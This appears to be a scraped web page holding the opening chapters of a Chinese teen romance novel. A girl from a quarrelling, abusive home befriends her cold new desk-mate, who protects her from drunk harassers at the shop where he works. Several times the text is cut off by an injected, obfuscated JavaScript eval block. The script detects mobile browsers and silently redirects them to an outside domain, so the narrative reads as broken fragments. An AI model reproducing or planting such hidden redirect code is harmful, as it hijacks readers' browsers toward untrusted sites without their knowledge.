《星星在唱歌》 1. 奇怪 盛夏，早晨。 蝉鸣撕扯着闷热的空气，教室里一片整齐却略显疲惫的诵读声。 “子曰:见贤思齐焉，见不贤而内自省也。子曰:见贤思齐焉……” 班主任秦福挺着微凸的肚子，笑呵呵地拍了两下手掌，洪亮的声音瞬间盖过了读书声：“停停停！新学期，新气象，还有——新同学！” 喧闹声瞬间低了下去，几十道好奇的目光齐刷刷射向门口。秦福侧身，拉进来一个身影。 夏霜迟坐在靠窗的位置，本来正在迷糊地打盹儿，却被班主任这洪亮的声音惊了一个机灵，她下意识地抬起头，眼神却不自觉地聚焦在了这少年的身上。 黑发。 极为利落。 一个洗得发白、边角磨损的旧帆布书包松垮地挂在他单薄的肩上。 他站得很直，像一棵孤零零的、沉默的竹子。当他抬起眼皮，淡漠地扫过教室时，夏霜迟只觉得一股寒气顺着后背爬上来。那眼神太静了，静得像深不见底的寒潭，让人不敢细看。 可怕。 夏霜迟悻悻地收回了眼神，她低下头把课本收了起来，从桌兜拿出一本诗词精选。 她小心翼翼地取出那镂空宫殿书签，阳光照耀下那金属质感的书签也闪出光芒来。 这是她去年诗社活动前三名的赠品，她爱惜地不得了，几乎隔几天就要拿卫生纸仔细擦拭。 书上说，人生南北多歧路，君向潇湘我向秦。 她不甚懂这些，相比于这种诗句，她似乎更喜欢…… 玲珑骰子安红豆，入骨相思知不知。 这种富有文艺和浪漫感感的诗句。 “咯吱——”刺耳的摩擦声在她耳边响起。 旁边的空椅子被拉开了。 “你坐这里吧，夏霜迟文静，也乖，你好好跟她学。”秦福正乐呵呵地拍了拍宋远的肩膀。 夏霜迟心跳漏了一拍，猛地抬头。 方才还站在讲台边的黑发少年，此刻正一脸淡漠地站在她座位旁。窗外炽烈的阳光斜斜打进来，恰好勾勒出他清晰而冷硬的下颌线。 “哦…好。”她听见自己细弱的声音应道，带着点没睡醒的懵。 “叮铃铃铃铃——” 一阵劲爆的铃声宣示着早读的结束，教室里忽然就炸开了锅，方才的安静和整齐消失地立竿见影。 夏霜迟这时才敢微微转过头，去偷偷打量自己从天而降的新同桌。 他低着头，不知道视线正落在哪里。 他鼻梁很高，几乎在脸上投下一小片阴影，这样近的距离，夏霜迟可以清晰地看见他浓密的睫毛，像一把小刷子，还在一颤一颤。 他看上去没有理会任何人的意思。 前排的扎着高马尾的女生很是热情，她转过身，笑靥如花，明媚的像是六月的向日葵，“你好，我是林翩月，咱们班的班长，以后你有什么不懂的不清楚的，都可以来问我。” 林翩月，算是第三中学的风云人物。人长的一顶一漂亮，从初中开始，几乎每年都会参与学校拍摄宣传片的活动。 就在这个抓早恋如同抓犯罪一样的第三中学，不少男生铤而走险，宁愿受处分也要把情书亲手交到林翩月的手里。 男生只是掀起眼皮，看了她一眼，没说话。 见男生不说话，林翩月脸上笑容凝固了一瞬间，眼底闪过一丝错愕。 她大概从没在男生那里受过这种待遇。 “同学？”她声音里的甜度降了几分。 “你好。”他终于吐出两个字，声音没什么起伏，像块冷冰冰的石头。 林翩月的笑容彻底挂不住了，她有些吃瘪，悻悻地转过身。 后面又有几个胆大的男生凑过来试图搭讪，无一例外碰了一鼻子灰，讪讪地走了。 看来，她的这个新同桌，似乎一个人住在透明玻璃里。 夏霜迟默默下了结论。 枯燥的数学公式在黑板上蔓延，现在已经讲到了选修二的数列部分。虽然夏霜迟最不擅长的就是数学，但这一部分的题目倒是没有想象地那么难。 老师拿去粉笔“沙沙”地在黑板上写下几道题目，“第一排同学上黑板写，其他同学拿张纸在下面自己做。” 夏霜迟很快就把这几道题目解完，夏天教室里虽然开着空调，但是夏霜迟靠窗户坐着，暴烈的太阳还是明晃晃地透过玻璃映在她的脸上，火辣辣地烤着她的半边脸，她不得不往阴影里缩了缩。 于是她扭过头去，太阳也只能是在他发梢落下一片金黄。 草稿纸上面的字迹整整齐齐，夏霜迟余光里恰好能看见他的侧脸。 管他做什么。 夏霜迟收回目光，脑海中却不由自主地映出他那黑地纯粹的头发和那挺鼻薄唇。 刚刚秦老师介绍的时候，她根本没听，夏霜迟心底嘀咕道:“他叫什么啊。” 少女发起呆来，手上的笔无意识地在纸上缓缓勾勒出这句心里话。 他叫什么啊…… “夏霜迟。”数学老师严厉的声音像鞭子抽在耳边。 “到。”少女吓地一个激灵，一时有些慌乱地把草稿纸推开，抓起习题册站起。 “说说第一个题，错哪儿了？”高大的女老师推了推眼镜，目光锐利。 “这…这个规律只适用于前三项，后面就不成立了……”夏霜迟努力稳住声音。 她抿了抿嘴唇，看向了前面数学老师。 “嗯。”女老师神色不善地点点头，“坐下。下次上课认真听。” 夏霜迟如蒙大赦，她松了一口气，忙坐在自己的座位上，把自己刚才慌乱而弄乱的桌面简单整理一下。 这时候她才发现，她那张整整齐齐的草稿纸，上面还有一行小字。 他叫什么啊。 在这行小字下面，赫然多了两个陌生的、笔锋冷硬的字：宋远。 夏霜迟脑袋“嗡”地一声，她脸颊骤然有些发烫。她记得自己刚刚好像是把草稿纸不小心推到他的桌子上了! 宋远……，是他的名字么。 ……还挺好听的。 这个念头冒出来，让她脸上更热了。 一个上午在数学、语文、英语、生物的轮番轰炸中混沌地过去，中午放学的铃声如同天籁。 “叮铃铃玲玲——” 夏霜迟前面的男生把校服外套系在腰上，听见铃声那一秒就从座位上弹起来，回头对着夏霜迟笑道:“拜拜小迟!哥先撤了~” 夏霜迟依旧没什么表情，然后那个男孩对着他同桌笑嘻嘻道:“看什么林大小姐，羡慕我有特权先溜啊？” 林翩月怒:“何潇你有病是不是？！” “诶，你猜。”何潇哈哈大笑着，泥鳅一样跟在生物老师身后溜出了门。 林翩月对着他的背影狠狠翻了个白眼，气鼓鼓地坐了几秒，才回头对夏霜迟说:“小迟，我今天不去食堂了，我妈妈给我送了饭。” 夏霜迟愣了一下，才缓缓道:“哦哦好。” 送饭…… 这个词像根细小的刺，在她心口轻轻扎了一下。 在她的记忆里，家里只有无休止的争吵。 别人家那种温情的画面，对她而言，只是故事书里的插画。 室里的人很快走了大半。夏霜迟发现身边的宋远并没有动，而是拿出一个干巴巴的面包，沉默地撕开包装。 她有些局促地动了动手指，小声开口：“那个…宋远同学？能麻烦让一下吗？我想出去。” 宋远闻声抬起头，没说话，只是干净利落地站起身，往旁边让开一步。 他站起来，夏霜迟才真切感受到他比她高出很多。 她低着头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋远的面包已经吃完了大半，他吃得很安静，也很……快。 好像只是为了填饱肚子。 一个面包……够吗？ 她心里冒出一个小小的疑问。 夏霜迟的指尖触碰到那瓶冰凉的青柠气泡水，瓶身的水珠沾湿了她的指腹。 心跳莫名快了一点。 她深吸一口气，像是鼓足了勇气，飞快地把那瓶青柠气泡水推到了宋远桌子的边缘，紧挨着他那个空瘪的面包包装袋。 “请…请你喝。”她的声音有点发紧，不敢看他的眼睛。 宋远的动作停住了。他缓缓抬起头，那双深潭似的眼睛看向她。 夏霜迟只觉得呼吸一滞，仿佛被那目光定住了。她慌忙垂下眼睫，手指无意识地揪着衣角。 “不要。”他的声音很平淡，没有任何波澜，甚至没有犹豫。 说完，他便重新低下头，继续对付最后一点面包，仿佛刚才只是拒绝了一粒无关紧要的尘埃。 夏霜迟僵住了。 脸上像被火燎过一样，瞬间滚烫。 一种巨大的尴尬和窘迫将她淹没。她甚至能感觉到前排何潇和林翩月投来的好奇目光。 “……为，为什么?” 夏霜迟几乎是脱口而出，声音带着一丝不易察觉的颤抖和委屈。 宋远咀嚼的动作顿了一下。 他终于再次抬眼，目光落在她涨红的脸上，只停留了短短一瞬，随即移开，看向窗外刺眼的阳光。 他的声音依旧没什么温度，干巴巴地吐出三个字： “还不起。” 2. 商店 夏霜迟的心猛地一沉，她慌忙摆手，急切地解释：“不用的！真的不用还！就是……就是……” 她说不下去了，只觉得脸上烧得更厉害。 宋远不再说话，只是伸出手指，将那瓶被推过来的青柠气泡水，又稳稳地、不容置疑地推回了她的桌子中央。 冰凉的瓶身碰到她放在桌面的手背，激得她微微一颤。 夏霜迟像被烫到一样缩回手，飞快地低下头，盯着自己那份已经有些凉了的炸鸡饭。她机械地拿起筷子，食不知味地往嘴里塞了一口饭。 他一定是不喜欢喝汽水……他一定是觉得我多管闲事……他一定觉得很烦吧…… 她拼命在心里找着理由，试图驱散那份难堪的灼热感。 可是……他身上明明有青柠的味道啊…… 这个念头固执地冒出来，又让她心里泛起一阵说不清道不明的酸涩。 窗外是不知疲倦的蝉鸣，耳边是她自己擂鼓般的心跳声。 那瓶被推回来的青柠气泡水，安静地立在她的桌角。瓶身的水珠无声地滑落，在桌面上浸开一小片深色的、冰凉的水痕。 — 夏霜迟做了一个梦。 梦里，她陷在一片巨大的、酸涩的青柠海中。那些青柠忽然膨胀、变形，化作一个摇摇晃晃的热气球，载着她向上飘去。阳光刺眼，风带着青柠的凛冽气息…… 下一秒，“砰！”一声巨响，气球炸裂，她直直坠向无边的黑暗。 “啊！”夏霜迟猛地从床上弹坐起来，心脏狂跳，后背沁出一层冷汗。 窗帘缝隙透进来的阳光明晃晃地刺着眼睛。 墙上钟表指针正指向八点整。 梦境的坠落感还未完全消散，门外尖锐的争吵声便像刀子一样扎进她的耳朵。 “我跟你说了八百遍！把这些破玩意儿扔掉！占地方又招灰！你耳朵聋了是不是？！”是母亲苏燕歇斯底里的声音。 “苏燕你个疯婆娘！老子爱放哪放哪！轮得到你管？！皮痒了想挨揍？！这日子你他妈到底过不过了？！”父亲夏刚的咆哮更是震得门板都在发颤。 夏霜迟用力捂住耳朵，把脸埋进膝盖。 又是这样。 每一个被锁在家里的周末，都像一场漫长的、无休止的酷刑。 父母的争吵是背景音，而她，永远是那个无处可逃的囚徒，承受着母亲从父亲那里转嫁过来的、无处发泄的怒火。 “咚咚咚！” 房门被粗暴地砸响，力道之大仿佛下一秒就要散架。 苏燕一把推开门，手里的扫帚柄重重敲在门框上，发出刺耳的噪音。 “夏霜迟！几点了？！睡死过去了？！还不滚起来！”她脸色铁青，眼神像刀子般，显然刚经历了一场败仗。 没等夏霜迟反应，苏燕几步上前，一把掀开她身上的薄被。 夏霜迟习惯裸睡，骤然暴露在冰冷的空气和刺目的阳光下，她惊叫一声，下意识地蜷缩起来，手忙脚乱地去抓散落在床边的衣物。 “磨蹭什么！赶紧的！” 苏燕不耐烦地呵斥，一把拉开厚重的窗帘，让更多阳光无情地倾泻进来，照在夏霜迟苍白、微微发抖的身体上。 夏霜迟低着头，飞快地套上一条白色的裙子，她赤着脚踩在冰凉的地板上，像一抹游魂般走向卫生间。 身后，苏燕的咒骂声依旧如影随形，“……给谁甩脸子呢？看看别人家的孩子！再看看你！懒骨头！废物！” 卫生间镜子里映出一张毫无血色的脸，眼下是浓重的青黑。她机械地挤牙膏，刷牙的动作麻木而用力。 她不恨苏燕，她知道母亲也是被父亲那座活火山反复灼伤的可怜虫。 只是那滚烫的熔岩，最终总是不可避免地流淌到她身上。 苏燕生了她，却又在无望的生活里，把她当成了唯一的泄洪口。 父亲夏刚？ 他有钱，对她物质上从不苛刻，每月一万的零花钱准时到账，但他像对待一件可有可无的家具。 这种放养，不过是另一种形式的冷漠和忽视。在这个令人窒息的家里，她唯一能喘口气的地方，就是逃离。 胡乱洗漱完，趁着苏燕在厨房摔摔打打的间隙，夏霜迟像个小偷一样，踮着脚尖，悄无声息地溜出了家门。 她知道苏燕发现她不见后会有多暴怒，但她顾不上了。比起家里令人窒息的低气压，外面灼人的阳光都显得可爱 盛夏的街道，热浪裹挟着喧嚣扑面而来。蝉鸣是永不疲倦的背景音，路边小贩的叫卖声此起彼伏。 “冰镇茉莉豆奶——消暑解渴咯！” 夏霜迟走得急，连遮阳伞都忘了带，裸露的皮肤被晒得微微发烫。 她在豆奶摊前停下，要了一杯冰的。冰凉微甜的液体滑过喉咙，稍稍压下了心头的烦闷和身体的燥热。 家楼下不远就是繁华的商业街，此刻白天的喧嚣还未完全沸腾。 她漫无目的地走着，目光掠过那些傍晚才会火爆的摊位——淋满酱汁的鱿鱼在铁板上滋滋作响，蒸笼里飘出桂花米糕甜腻的糯香。 她对这些并不真的感兴趣，只是单纯地、贪婪地呼吸着这短暂的自由空气。 时间在漫无目的的游荡中流逝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060701|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当路灯次第亮起，昏黄的光线在渐浓的夜色中显得格外微弱时，夏霜迟才惊觉，该回去了。 那个家像一个巨大的黑洞，即使再抗拒，最终也逃不开被吞噬的命运。 她低着头，磨磨蹭蹭地拐进路边一家便利店。冷气混着关东煮和各种速食的复杂气味瞬间包裹了她。 她心不在焉地在货架间徘徊，目光毫无焦点地扫过琳琅满目的商品。 她的脚步忽然顿住了。 货架中层，整齐码放着一排包装朴素的袋装面包。 一模一样。 宋远那天中午在教室里，沉默地啃着的，就是这种面包。 廉价，顶饿，带着工业香精的味道。 为什么停下？ 夏霜迟自己也说不清。 是便利店冷白的灯光让她恍惚？ 还是下午那场关于青柠的坠落梦境还未散去？ 亦或是……仅仅因为那个在教室里沉默啃面包的身影，和此刻她独自游荡在街头的孤寂感，在某个瞬间产生了隐秘的共鸣？ 鬼使神差地，她伸出手，没有犹豫，直接拿了一个最大的购物袋，开始往里装这种面包。 一袋，两袋……直到袋子变得沉甸甸的。 动作带着一种近乎偏执的笨拙，像是在填补某种夏霜迟自己也说不清的空洞。 她提着这袋沉甸甸的面包，正想再去拿瓶水，身后不远处突然传来一阵令人作呕的干呕声。 “呕——呃……” 浓烈的酒气和呕吐物的酸腐气味幽幽飘来。夏霜迟头皮一炸，猛地回头。 只见她身后不远处，两个身材高大壮硕、满脸通红的男人正扶着货架，其中一个还在断断续续地干呕，眼神浑浊涣散。 另一个则眯着眼，目光像黏腻的舌头，在她身上来回舔舐。 夏霜迟的心瞬间提到了嗓子眼，浑身血液都凉了半截。恐惧像冰冷的藤蔓缠住了她的四肢。 她几乎是本能地，抱着那袋面包，像受惊的兔子一样，慌不择路地冲向收银台。 “你好，结…结账！”她的声音带着不易察觉的颤抖。 “36块。”一个冷淡的、毫无起伏的男声响起。 夏霜迟猛地抬头，瞳孔瞬间放大。 收银台后站着的，竟然是宋远。 他穿着一件普通的黑色T恤，头上压着一顶深色的鸭舌帽，帽檐在他脸上投下浓重的阴影，只露出线条冷硬的下颌和紧抿的薄唇。 他正低头扫码，动作利落，仿佛没认出她。 “宋远？”夏霜迟惊诧地低呼出声，“你…你怎么在这里？” 3. 礼物 宋远终于抬了下眼皮，目光在她脸上停留了不到半秒，像看一个陌生人，随即又垂下，语气更加不耐烦。 “36块。快点。” 他敲了敲扫码器旁的台面，催促的意味明显。 夏霜迟被他的冷漠噎了一下，慌忙拿出手机扫码支付。 滴的一声，付款成功。 “这是…你家里的店吗？”她忍不住又问，试图打破这令人窒息的尴尬和身后传来的危险气息。 “别废话。”宋远的声音冷得像冰，他利索地把她的面包塞进一个大塑料袋，往台子上一推。 “东西拿好，快走。” 逐客令下得毫不留情。 夏霜迟的心沉了下去，也涌上一股委屈。她咬着唇，伸手去提袋子。 就在这时，身后那两个醉醺醺的男人摇摇晃晃地走近了些，其中一个用不大不小、刚好能让她听清的声音□□着说: “啧，前面这小妞……真嫩，白裙子……嘿嘿，一会跟哥俩去旁边巷子聊聊？” “嘿嘿，走……走……”另一个含糊地附和着，浑浊的眼睛死死盯着夏霜迟的背影。 夏霜迟的身体瞬间僵硬，血液也顿时凝固了。迈出去的脚像灌了铅，死死钉在原地。 出去？外面漆黑一片，只有便利店透出的这点光。 她一个人，面对两个丧失理智的醉汉…… 她不敢想。 “等等。” 宋远冷淡的声音再次响起，打破了死寂。夏霜迟像抓住救命稻草般，充满希冀地回头。 只见宋远面无表情地看着扫码器的屏幕，手指在上面随意点了几下，头也不抬地说：“钱没扫过来。系统卡了，你过来看看。” “啊？”夏霜迟一愣，明明刚才显示成功了…… 但她立刻反应过来，这或许是宋远在帮她! 她几乎是连滚带爬地绕到收银台里面，凑近屏幕，假装仔细查看。 “是…是扫过了呀…”她小声地、配合地嘀咕着，心脏在胸腔里疯狂擂鼓。 宋远没看她，只是不动声色地向前一步，高大的身躯像一堵沉默的墙，完全挡在了她和收银台出口之间，也将那两个不怀好意的醉汉隔在了外面。 他微微侧着身，手臂看似随意地搭在收银台上，T恤下的肌肉线条却隐隐绷紧，充满了蓄势待发的力量感。 夏霜迟离他如此之近，近到能闻到他身上那股熟悉的、极淡的青柠味，混杂着一点点便利店特有的消毒水气息。 这味道奇异地让她狂跳的心稍稍安定了一点点。她侧过脸，目光落在他结实的小臂上，那里因为用力而微微绷起青筋。 一种从未有过的、微弱却真实的安全感，悄然滋生。 两个醉汉在收银台外探头探脑了一会儿，见宋远挡在那里，夏霜迟又躲在里面看屏幕，一时找不到机会，嘴里不干不净地骂了几句脏话，终于摇摇晃晃地推门出去了。 但他们并未走远，隐约还能听到他们在门外徘徊、咒骂的声音。 便利店瞬间安静下来，只剩下冷柜若隐若现低沉的嗡鸣。空气里弥漫着尴尬、后怕和一丝难以言喻的紧张。 夏霜迟长长地、无声地吁出一口气，后背的冷汗几乎浸透了薄薄的衣服。她这才意识到自己还紧紧抱着那袋面包。 她尴尬地后退一步，拉开与宋远的距离，小声道:“谢…谢谢你啊。” 宋远这才转过身，眉头微蹙，看也没看她，径直走出收银台，拿起墙角的拖把和水桶，走向刚才醉汉弄脏的地方。 “不知道你在说什么。” 他的声音依旧冷淡，仿佛刚才那个挺身而出的人不是他。他弯下腰，开始用力地拖地，动作熟练而沉默。 夏霜迟看着他沉默劳作的背影，一时语塞。 这时，包里的手机疯狂震动起来，屏幕上跳跃着“妈妈”的名字。 她手忙脚乱地按掉，瞥了一眼时间。 22：50。 门外醉汉的声音似乎还没完全消失。巨大的恐惧再次裹挟了她。 回去？那条必经的、没有路灯的小巷…… 她不敢。 求生的本能压倒了所有的羞赧和顾虑。 她看着宋远忙碌的背影，鼓起这辈子最大的勇气，声音带着她自己都没察觉的颤抖。 “那个……宋远……我……我能在店里再待一会儿吗？就一会儿……等他们走远点……” 她攥紧了手里的塑料袋，指节发白。 宋远拖地的动作顿了一下。 他没有回头，也没有立刻回答。 空气凝固了几秒。 就在夏霜迟以为他会再次冷冰冰拒绝时，他低沉的声音传来，依旧没什么温度： “随便你。” 夏霜迟悬着的心终于落回一半。 她像得到特赦令，立刻抱着袋子，乖乖缩在收银台旁边一个不碍事的角落，尽量把自己缩成一团，减少存在感。 便利店里只剩下拖把摩擦地面的沙沙声。 夏霜迟的目光不受控制地追随着宋远。他动作麻利地清理污渍，擦拭货架，检查商品。 灯光下，他额角渗出细密的汗珠，顺着冷硬的脸部线条滑落。手臂的肌肉随着动作起伏，带着一种沉稳的力量感。 她不禁想到家里那个大腹便便、只会颐指气使的父亲。 如果……如果父亲能有宋远一半的担当和沉稳，母亲是不是就不会那么歇斯底里？ 这个家……是不是就不会像一个随时会爆炸的火药桶？ 这个念头让她心头泛起一阵尖锐的酸楚和茫然。 时间在沉默中流淌。 宋远手脚利落，很快完成了闭店前的整理 墙上的挂钟指向23：15。 卷帘门被哗啦一声拉下，锁好。 隔绝了便利店内明亮的灯光和外面沉沉的夜色。两人站在紧闭的店门外，昏黄的路灯在两人头顶洒下暧昧不清的光晕。 宋远摘下鸭舌帽，随意抓了抓被压得有些凌乱的黑色短发，目光落在夏霜迟身上——她穿着那条简单的白色连衣裙，在夜色和灯影下显得格外单薄脆弱。 怀里还紧紧抱着那个装着廉价面包的、显得格外突兀的大袋子。 “还不走？” 他开口，声音在寂静的夜里显得格外清晰，也依旧没什么温度，“我要锁这边门了。” 夏霜迟身体微微一颤，像是被惊醒。她看着眼前通向黑暗的路，那条没有灯的小巷像一张择人而噬的巨口。 恐惧感再次袭来。 她低下头，声音细弱得几乎被晚风吹散，“我…我现在就走……” 她抱着袋子，往后退了两步，像是要给自己鼓劲，“谢谢…谢谢你让我待这么久。” 说完，她猛地转过身，几乎是逃也似的就要往前走。 “等等。” 宋远的声音再次响起，带着一丝不易察觉的烦躁。 夏霜迟脚步顿住，心脏漏跳一拍，有些茫然地回头。 宋远皱着眉，目光扫过她苍白的小脸，最终落在她怀里那个刺眼的面包袋子上，又飞快移开。 他像是极其不情愿地、从牙缝里挤出几个字：“……那条巷子太黑。我送你过去。” 夏霜迟愣住了，呆呆地看着路灯下的少年。他站得笔直，T恤下是少年人特有的、带着蓬勃生命力的精悍线条。 闷热的夏夜，他额角和脖颈还残留着刚才劳动的薄汗，在昏黄的光线下折射出细碎的光。 帽檐阴影下的眼神看不真切，但那紧抿的唇线和微蹙的眉头，却奇异地让她感到一种笨拙的、别扭的…… 可靠。 一股温热的暖流毫无预兆地冲上眼眶。 她用力眨了眨眼，将那股湿意压下去，嘴角却不由自主地弯起一个很浅很浅的弧度，声音带着她自己都没察觉的轻快和依赖。 她说:“谢谢你，宋远。” 夜色如墨，月光是流淌的、粘稠的琥珀，悄无声息地漫过窗台。 夏霜迟赤着脚，像猫一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他扭过头，避开夏霜迟的目光，声音低沉而干脆：“不要。” 夏霜迟脸上的笑容瞬间僵住，心像被什么东西猛地攥了一下，迅速沉了下去。 尴尬和难堪如同潮水般涌上来，脸颊火辣辣的。 “我…我不是那个意思…” 她有些语无伦次，声音也低了下去，“我是看…看你上次在吃这种…以为你喜欢…才买的……” 她越说声音越小，手指无意识地绞着衣角，像个做错了事、手足无措的孩子。 宋远侧过脸，看着女孩瞬间黯淡下去的眼神，那里面盛满了显而易见的失落和小心翼翼，甚至还有一丝不易察觉的受伤。 她这副样子，让他想起路边淋了雨、瑟瑟发抖的猫。 他薄唇抿得更紧，眼底深处掠过一丝复杂的情绪。 是烦躁？是无奈？还是……一丝连他自己都不愿深究的、因这笨拙的关切而产生的刺痛？ 他垂下眼帘，浓密的睫毛遮住了眼底翻涌的情绪，喉结滚动了一下，最终只是干涩地吐出两个字，声音低哑得几乎只有两人能听见： “……谢谢。” 夏霜迟紧绷的心弦骤然一松，一股失而复得的欣喜涌上来，冲淡了刚才的难堪。 她忙不迭地点头，“不客气！你…你喜欢就好！” 然而，当她悄悄抬眼去看宋远时，却发现他脸上并没有任何收到“礼物”的喜悦。 他盯着那个牛皮纸袋，眼神沉沉的，嘴角甚至带着一丝若有若无的、近乎自嘲的紧绷。 那绝不是高兴。 那是一种更复杂、更沉重的东西，像一块无形的石头，压得他周围的空气都显得凝滞。 夏霜迟的心，又悄悄地悬了起来。 为什么……他看起来更不开心了？ 4. 罚站 林翩月甩着手上的水珠，哼着歌从卫生间回来，就看到夏霜迟还坐在座位上发呆，对着旁边空椅子一脸茫然若失的样子。 “嘿！小迟！发什么呆呢？热傻啦？” 林翩月撑开她那把粉嫩嫩的HelloKitty遮阳伞，用伞尖轻轻戳了戳夏霜迟的手臂。 “走啦走啦，去食堂，饿死本小姐了！这破伞，一点不防晒，热死了！早知道拿我上次在德国买的那个了！” 夏霜迟被戳得回神，有些慌乱地站起身，拿起自己的东西。 林翩月挽着她的胳膊，一边抱怨着天气和伞，一边往食堂走。 夏霜迟却显得有些心不在焉，目光没有焦点地落在前方晃动的伞面上。 “喂！你到底有没有在听我说话啊？” 林翩月不满地晃了晃她的胳膊，“魂丢啦？” “啊？没…没有。” 夏霜迟回过神，犹豫了一下，还是忍不住低声问道:“翩月，你说……如果你送一个人东西，他收下了，但看起来一点也不高兴，反而好像…更烦了……会是因为什么？” 林翩月眨眨眼，显然被这个问题勾起了兴趣。 她歪着头想了想，带着一种理所当然的骄矜口吻：“那还用说？要么是东西太廉价，配不上他的档次，觉得被敷衍了呗。要么就是东西本身没问题，但送的方式或者时机不对，显得没诚意、不用心呗！” 她顿了顿，狐疑地上下打量着夏霜迟，“咦？不对啊小迟，你问这个干嘛？你给谁送东西了？还让人不高兴了？谁啊谁啊？” 夏霜迟轻轻叹了一声，像是要把心口那股莫名的郁结都呼出去，“没什么，我就随便问问。” 她垂下眼睫，指尖无意识地摩挲着校服裤缝。 林翩月的话像小石子投入心湖，激起了一圈圈涟漪。 太便宜了…… 这个认知让她脸颊微微发烫，也带着一丝难言的沮丧。 原来她的感谢，在他眼里可能显得如此廉价和敷衍。 下次……下次一定要送个像样的，最好能知道他真正喜欢什么。 投其所好，总不会错吧？ 午后的阳光炙烤着大地，连蝉鸣都显得有气无力。 生物老师抱着教案走进来，脸上带着一丝难得的兴奋。 “同学们注意了！老师给大家争取了一节操作课，过几周，我们移步就实验室——” 她故意停顿了一下，满意地看着底下瞬间亮起来的眼睛，“解剖青蛙！” “哦耶——！！！” 震耳欲聋的欢呼声几乎掀翻屋顶，何潇叫得尤其夸张，直接从椅子上弹了起来。 “安静！安静！” 生物老师哭笑不得地拍着讲台，好不容易压下声浪，“两人一组，按同桌组合！工具和注意事项下周会详细讲，都给我打起精神！” 何潇立刻像只花蝴蝶似的凑到林翩月桌边，挤眉弄眼：“听见没？林大小姐！到时候可别吓得哇哇哭，抱着我的胳膊喊救命啊~小青蛙那么可爱……” 林翩月连白眼都懒得翻，红唇冷冷吐出一个字：“滚。” “得令！”何潇嬉皮笑脸地缩回座位，还不忘对着林翩月的背影做了个鬼脸。 夏霜迟却一点也兴奋不起来，光是听到“解剖”、“青蛙”这些词，胃里就隐隐有些不适。 那些滑腻冰冷的触感，黏糊糊的内脏…… 光是想象就让她头皮发麻。她甚至开始盘算，能不能找个借口请假逃掉这节课…… 目光无意识地飘向身边。 宋远正低头转着一支笔，黑色的笔杆在他修长的手指间翻飞，动作流畅而心不在焉。 阳光透过窗户落在他低垂的眼睫上，投下小片阴影，显得侧脸线条格外清晰。 鬼使神差地，夏霜迟微微倾身，压低了声音问：“你……怕青蛙吗？” 话一出口，她就后悔了，这问题显得多傻。 宋远转笔的动作倏然停下。 他抬起眼，浓密的睫毛掀起，露出那双深潭般的眸子，静静地看了她一两秒。 那眼神没什么温度，却奇异地让夏霜迟的心跳漏了一拍。 “不怕。” 他吐出两个字，声音不高，却带着一种理所当然的平静。 说完，又低下头，继续那无意识的转笔动作。 “哦哦……” 夏霜迟讪讪地应着，心底那点请假的小火苗，被他这两个字轻轻一吹，噗地一下，熄灭了。 年轻的生物老师清了清嗓子，试图压下教室里残留的兴奋余波。 “好了！兴奋劲儿留着下课！现在，检查作业！上节课留的配套练习题第2-5页，都拿出来摊在桌面上！没写的——” 她目光扫过全班，带着一丝促狭， “老规矩，外面凉快去！哦，对了，《选修三》课本也拿出来放好！” 教室里响起一阵翻书包的窸窣声。 夏霜迟熟练地拿出作业本和练习册，整齐地摊开。 接着去翻找那本墨绿色的《选修三》生物课本。 书包的夹层，侧袋，主袋…… 她越翻心越沉。没有！怎么会没有？她明明记得……昨晚复习完好像顺手放在了书桌上！ 完了！ 冷汗瞬间从额角沁了出来。 她可是老师眼里从不掉链子的“乖学生”，被当众点名赶出教室？光是想象那个场景，就让她脸上火辣辣的，恨不得找个地缝钻进去。 她僵硬地坐着，手指死死抠着书包带，大脑一片空白。 “啪。” 一声轻响。 一本墨绿色的《选修三》课本被推到了她的桌子中央，正好盖在她空荡荡的桌面上。 夏霜迟猛地抬头。 宋远正看着她，脸上没什么表情，只是用骨节分明的手指在桌面上敲了敲，言简意赅： “我作业没写。书，用不着。” 他的目光扫过自己摊开的、一片空白的练习册，意思再明显不过。 夏霜迟张了张嘴，感激和推辞的话堵在喉咙口，一时竟发不出声音。 她想说“谢谢”，想说“这样不好”，但宋远根本没给她机会。 他随手抓起桌上的校服外套往凳子上一扔，动作干脆利落，然后径直站起身，在生物老师目光扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“……行吧。” 何潇自觉没趣，只好转身对着教室前门的方向，对着里面隐约可见的林翩月挤眉弄眼，收获了一个隔着玻璃都能感受到嫌弃的白眼。 教室里，老旧空调吭哧吭哧地工作着，努力对抗五十多个人的体温。头顶的吊扇也吱呀吱呀地转着，搅动着沉闷的空气。 夏霜迟翻开那本属于宋远的《选修三》。他的练习册就随意地摊在桌上，只写了前两页。鬼使神差地，夏霜迟伸手拿了过来。她找出红笔，对照着答案，一题一题地批改。 选择题……全对。 填空题……也全对。 她有些难以置信。 他明明只写了两页，而且……这些题旁边还有他演算的草稿痕迹，思路清晰。 